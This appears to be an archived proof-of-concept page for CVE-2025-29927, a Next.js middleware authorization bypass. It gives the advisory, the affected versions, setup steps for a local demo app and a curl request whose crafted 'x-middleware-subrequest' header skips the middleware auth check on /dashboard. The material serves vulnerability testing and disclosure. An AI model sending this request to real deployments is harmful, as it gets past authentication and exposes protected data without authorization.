Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-29927 PoC — Authorization Bypass in Next.js Middleware

Source
Associated Vulnerability
Title:Authorization Bypass in Next.js Middleware (CVE-2025-29927)
Description:Next.js is a React framework for building full-stack web applications. Starting in version 1.11.4 and prior to versions 12.3.5, 13.5.9, 14.2.25, and 15.2.3, it is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware. If patching to a safe version is infeasible, it is recommend that you prevent external user requests which contain the x-middleware-subrequest header from reaching your Next.js application. This vulnerability is fixed in 12.3.5, 13.5.9, 14.2.25, and 15.2.3.
Description
POC CVE-2025-29927
Readme
# Affected 
- Next.js 15.x < 15.2.3, 14.x < 14.2.25, Next.js 13.x < 13.5.9
- Self-hosted setups that use Middleware for critical functionality, such as authentication.

# Guide
```
npm run dev 
```

```
curl --compressed -X GET http://localhost:3000/dashboard \
  -H "Host: localhost:3000" \
  -H "sec-ch-ua: \"Chromium\";v=\"135\", \"Not-A.Brand\";v=\"8\"" \
  -H "sec-ch-ua-mobile: ?0" \
  -H "sec-ch-ua-platform: \"macOS\"" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Sec-Fetch-Site: none" \
  -H "Sec-Fetch-Mode: navigate" \
  -H "Sec-Fetch-User: ?1" \
  -H "Sec-Fetch-Dest: document" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive" \
  -H "x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware:src/middleware"
```

Thanks to ChatGPT
File Snapshot

[4.0K] /data/pocs/729e56b3d9e075cf81f88ac146dc76246d3e9dfe ├── [ 92] next.config.mjs ├── [ 201] next-env.d.ts ├── [ 482] package.json ├── [177K] package-lock.json ├── [4.0K] public │   ├── [1.3K] next.svg │   └── [ 629] vercel.svg ├── [1.1K] README.md ├── [4.0K] src │   ├── [4.0K] app │   │   ├── [4.0K] dashboard │   │   │   └── [ 246] page.tsx │   │   ├── [ 25K] favicon.ico │   │   ├── [2.2K] globals.css │   │   ├── [ 473] layout.tsx │   │   ├── [4.0K] login │   │   │   └── [2.1K] page.tsx │   │   ├── [3.8K] page.module.css │   │   └── [ 204] page.tsx │   └── [ 721] middleware.ts └── [ 578] tsconfig.json 5 directories, 16 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →